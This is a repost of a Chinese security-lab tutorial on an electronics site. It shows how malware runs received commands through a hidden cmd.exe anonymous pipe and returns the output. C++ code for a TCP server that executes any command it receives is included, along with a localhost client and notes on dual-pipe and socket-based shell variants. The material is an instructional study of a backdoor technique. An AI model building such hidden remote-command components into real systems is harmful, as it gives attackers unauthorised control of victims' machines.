0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看威廉希尔官方网站 视频
  • 写文章/发帖/加入社区
会员中心
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

使用匿名管道威廉希尔官方网站 获取CMD命令的执行结果

蛇矛实验室 来源:蛇矛实验室 2023-04-03 18:04 次阅读

序言

远程 CMD 是指恶意程序接收到控制端发送的 CMD 指令后,在本地执行 CMD 命令,并将执行结果回传至控制端。本文将演示使用匿名管道威廉希尔官方网站 获取 CMD 命令的执行结果。

相关API

CreatePipe:用于创建管道

PeekNamedPipe:用于判断管道中是否有数据存在

ReadFile、WriteFile:用于向管道读取或写入数据

CreateProcess:用于创建CMD子进程,可指定启动信息(STARTUPINFO)

实现原理

管道是一种进程间通信的威廉希尔官方网站 ,Window 上进程间通信威廉希尔官方网站 还有文件映射、共享内存、邮槽、剪切板、事件等。

管道分为命名管道和匿名管道:

* 匿名管道只能在父子进程间通信,数据传输单向,不能网络通信

* 命名管道可在任意进程间通信,数据传输双向,但同一时间只能有一端读写。

由于远程 CMD 中仅仅需要执行 CMD 指令的结果,所以使用匿名管道即可,其使用流程如下:

1. 使用 CreatePipe 创建匿名管道,获取管道数据读取句柄和管道数据写入句柄。

2. 初始化进程结构体,将管道写入句柄赋给新进程控制台窗口的缓存句柄;

3. 使用CreateProcess创建新进程执行CMD命令,并等待命令执行结束;

4. 在循环中使用 PeekNamedPipe 函数判断管道中是否有数据,通过管道读取句柄从缓冲区中获取执行结果。

5. 关闭句柄,释放资源。

编码实现

关键代码

// 执行 cmd 命令, 并获取执行结果数据
bool PipeCmd(TCHAR* cmd_str, std::string& outbuf)
{
BOOL bRet = FALSE;

HANDLE hReadPipe = NULL;
HANDLE hWritePipe = NULL;
SECURITY_ATTRIBUTES securityAttributes = {0};
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};

// 设定管道的安全属性
securityAttributes.bInheritHandle = TRUE;
securityAttributes.nLength = sizeof(securityAttributes);
securityAttributes.lpSecurityDescriptor = NULL;
// 创建匿名管道
bRet = ::CreatePipe(&hReadPipe, &hWritePipe, &securityAttributes, 0);
if(FALSE== bRet)
{
printf("CreatePipe");
returnfalse;
}
// 设置新进程参数
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdError = hWritePipe;
si.hStdOutput = hWritePipe;
// 创建新进程执行命令, 将执行结果写入匿名管道中
bRet = ::CreateProcess(NULL, cmd_str, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
if(FALSE== bRet)
{
printf("CreateProcess");
returnfalse;
}

// 等待命令执行结束
::WaitForSingleObject(pi.hThread, INFINITE);
::WaitForSingleObject(pi.hProcess, INFINITE);

// 不断从匿名管道中读取结果到输出缓冲区
while(true)
{
char buf[2048]{};
DWORD readbytes = 0;
DWORD availbytes = 0;

if(!PeekNamedPipe(hReadPipe, NULL, 0, NULL, &availbytes, NULL)) break;
if(!availbytes) break;
if(!ReadFile(hReadPipe, buf, min(sizeof(buf) - 1, availbytes), &readbytes, NULL) || !readbytes) break;

buf[readbytes] = 0;
outbuf += buf;
}

// 关闭句柄, 释放内存
::CloseHandle(pi.hThread);
::CloseHandle(pi.hProcess);
::CloseHandle(hWritePipe);
::CloseHandle(hReadPipe);

returntrue;
}

上面的代码中首先调用 CreatePipe 函数创建匿名管道,并将返回的读写句柄保存到 hReadPipe 和 hWritePipe 变量中。

然后,通过设置STARTUPINFO结构体中的参数,将新进程的标准错误输出和标准输出都重定向到管道中,以便将命令执行结果写入管道中。

接着,调用CreateProcess函数创建新进程,并将命令行命令作为参数传入。

CreateProcess 函数执行成功后,新进程开始执行命令,并将命令执行结果写入管道中,之后通过循环调用 PeekNamedPipe 和 ReadFile 函数,不断从管道中读取数据,并将读取到的数据存储到输出缓冲区中。

最后,代码关闭句柄,释放内存。

测试实现

测试代码

intmain(intargc, char** argv)
{
TCHAR cmd_str[] = L"ping 127.0.0.1";

// 执行 cmd 命令, 并获取执行结果数据
std::stringoutbuf;
if(false== PipeCmd(cmd_str, outbuf))
{
printf("pipe cmd error.
");
}
else
{
printf("CMD执行结果为:
%s
", outbuf.c_str());
}

system("pause");
return0;
}

b4ead242-d004-11ed-bfe3-dac502259ad0.png

远程传输

前面仅仅是把 cmd 命令的执行结果获取了,要想实现远程传输,需要加入网络传输部分。

b4fd46e8-d004-11ed-bfe3-dac502259ad0.png

测试

服务端

#definePORT 9982
inttest_server()
{
SOCKET listenfd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);

sockaddr_in bindaddr;
bindaddr.sin_family = AF_INET;
bindaddr.sin_addr.S_un.S_addr = ADDR_ANY;
bindaddr.sin_port = htons(PORT);
bind(listenfd, (SOCKADDR*)&bindaddr, sizeof(SOCKADDR));

listen(listenfd, 1);

sockaddr_in clientaddr;
intclientaddrlen = sizeof(SOCKADDR);
SOCKET clientfd = accept(listenfd, (SOCKADDR*)&clientaddr, &clientaddrlen);

charbuf[1024]{};
intrecvbytes = recv(clientfd, buf, 1024, 0);
if(recvbytes <= 0) return -1;

   std::string outbuf;
   PipeCmd((LPTSTR)buf, outbuf);
   std::cout << outbuf << std::endl;

   closesocket(clientfd);
   closesocket(listenfd);

   return 0;
}

客户端

inttest_client()
{
SOCKET connfd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);

structsockaddr_inServerAddr;
ServerAddr.sin_family = AF_INET;
ServerAddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
ServerAddr.sin_port = htons(PORT);

connect(connfd, (SOCKADDR*)&ServerAddr, sizeof(ServerAddr));

TCHAR cmdbuf[100] = _T("ipconfig");
send(connfd, (char*)cmdbuf, (lstrlen(cmdbuf) + 1) * sizeof(TCHAR), 0);

closesocket(connfd);

return0;

效果

开启服务器后,通过客户端向服务端发送指令,服务端接收到指令后开始处理,最终测试能够正确处理。

小结

上述的远程 CMD 的实现通过一个匿名管道实现的,它是通过直接执行 cmd 命令,从而不需要创建传递命令的管道。远程 CMD 的实现方法还有几种变形方式,比如双管道远程 CMD,和零管道远程 CMD,它们对应的思路就是对 CMD 的输出输入重定向位置进行控制,比如:

双管道实现远程 CMD 就是将 CMD 进程的输入、输出句柄替换为读写管道的句柄。

零管道实现远程 CMD 就是将 CMD 进程的输入、输出句柄替换为 socket 的句柄。






审核编辑:刘清

声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • WINDOWS
    +关注

    关注

    3

    文章

    3541

    浏览量

    88636
  • CMD命令
    +关注

    关注

    0

    文章

    28

    浏览量

    8306

原文标题:安全研发之远程CMD

文章出处:【微信号:蛇矛实验室,微信公众号:蛇矛实验室】欢迎添加关注!文章转载请注明出处。

收藏 人收藏

    评论

    相关推荐

    CMD262_Data_Sheet-1815818

    和稳定性。CMD262的设计旨在满足现代电子产品对高效能和低功耗的需求,广泛应用于智能手机、平板电脑、可穿戴设备等领域。产品威廉希尔官方网站 资料CMD262的主要威廉希尔官方网站 规格包括:输
    发表于 10-22 17:31 0次下载

    CMD244K5_Data_Sheet-1950601

    、音频处理和视频编码等领域。CMD244K5的小型化封装和低功耗特性使其非常适合嵌入式系统和便携设备。产品威廉希尔官方网站 资料主要威廉希尔官方网站 参数工作频率:高达1GHz处理能力:支持多通道信号处理内存接口:兼容多种内存类型功耗
    发表于 10-22 09:31 0次下载

    CMD242K4_Data_Sheet-1950730

    CMD242K4产品概述与应用产品概述CMD242K4是一款高性能的功率放大器,专为宽带无线通信和射频应用设计。该器件采用先进的GaAs(砷化镓)威廉希尔官方网站 ,能够在广泛的频率范围内提供卓越的增益和线性度
    发表于 10-22 09:28 0次下载

    声波定位威廉希尔官方网站 在地下管道中如何应用

    随着城市化进程的加速,地下管道作为城市基础设施的重要组成部分,其安全、高效的维护与管理显得尤为重要。声波定位威廉希尔官方网站 作为一种非破坏性探测手段,在地下管道中的应用日益广泛,成为提升管道维护和
    的头像 发表于 09-27 13:54 141次阅读

    瀚海微SD NAND存储功能描述(14)命令类a

    的类总是被设置为1。具有特定功能的卡可能需要支持一些可选命令。 例如,Combo Card应该支持CMD5。等级0、2、4、5和8是强制性的,所有SD存储卡都应支持。除CMD40外,SDHC和SDXC是强制性的。其他类是可选的。
    的头像 发表于 08-19 10:26 283次阅读
    瀚海微SD NAND存储功能描述(14)<b class='flag-5'>命令</b>类a

    瀚海微SD NAND存储功能描述(11)命令系统CMD8

    25 MB/sec的接口速度,时钟速率增加到50 MHz, CLK/CMD/DAT信号时序和电路条件被重新考虑并从物理层规范1.01版本更改。 上电后,SD卡处于默认的速度模式,使用开关功能命令
    的头像 发表于 08-12 16:03 390次阅读
    瀚海微SD NAND存储功能描述(11)<b class='flag-5'>命令</b>系统<b class='flag-5'>CMD</b>8

    瀚海微SD NAND存储功能描述(10)CMD6和其他命令关系

    CMD6 DATA与其他命令的关系 在CMD6事务期间,卡可以仅使用CMD(CMD12, CMD
    的头像 发表于 08-11 16:32 353次阅读
    瀚海微SD NAND存储功能描述(10)<b class='flag-5'>CMD</b>6和其他<b class='flag-5'>命令</b>关系

    瀚海微SD NAND存储功能描述(8)专用命令CMD55 56

    应用专用命令app_cmd (CMD55) 当卡接收到这个命令时,会使卡将下面的命令解释为一个特定于应用程序的
    的头像 发表于 08-08 10:39 1157次阅读
    瀚海微SD NAND存储功能描述(8)专用<b class='flag-5'>命令</b><b class='flag-5'>CMD</b>55  56

    瀚海微SD NAND应用存储功能描述(4)电压切换命令

    电压开关命令CMD11电压开关命令定义如下图所示。 CMD11可以在就绪状态下执行,不改变状态。即使卡被锁定,也可以
    的头像 发表于 08-02 10:03 412次阅读
    瀚海微SD NAND应用存储功能描述(4)电压切换<b class='flag-5'>命令</b>

    是否可以使用AT命令获取ADC值?

    是否可以使用AT命令获取ADC值? 如果是,要使用哪个命令
    发表于 07-16 07:06

    如何获取连接的TCP客户端的ESPCONN指针?

    我几乎阅读了 SDK API 指南版本 1.0.1 的所有文档 并开始了解如何添加用户 AT 命令。 这真的很简单,只需拨打at_cmd_array_register。 BUT! 如何获取连接的 TCP 客户端的 ESPCONN
    发表于 07-12 14:54

    管道风速传感器的安装在管道的前端还是后端

    管道风速传感器是一种用于测量管道内气流速度的仪器,广泛应用于工业、农业、环保、气象等领域。在安装管道风速传感器时,需要考虑多种因素,以确保测量结果的准确性和可靠性。本文将详细介绍
    的头像 发表于 07-01 09:14 830次阅读

    关于SDIO命令寄存器(SDIO_CMD)的疑问求解?

    请教下SDIO命令寄存器(SDIO_CMD)第12位ENCMDcompl:使能CMD完成(Enable CMD completion)如果设置该位,则使能
    发表于 05-16 06:57

    在卡初始化的过程中,CMD8之后发送一个cmd55命令做什么?

    在卡初始化的过程中,CMD8之后发送一个cmd55命令做什么?在ACMD41前发送的那个我明白,但是在CMD55在CMD8后用作检测的说明也
    发表于 05-14 08:23

    HarmonyOS开发:【基于命令行(获取源码)】

    在Ubuntu环境下通过以下步骤获取OpenHarmony源码。
    的头像 发表于 04-25 22:08 400次阅读
    HarmonyOS开发:【基于<b class='flag-5'>命令</b>行(<b class='flag-5'>获取</b>源码)】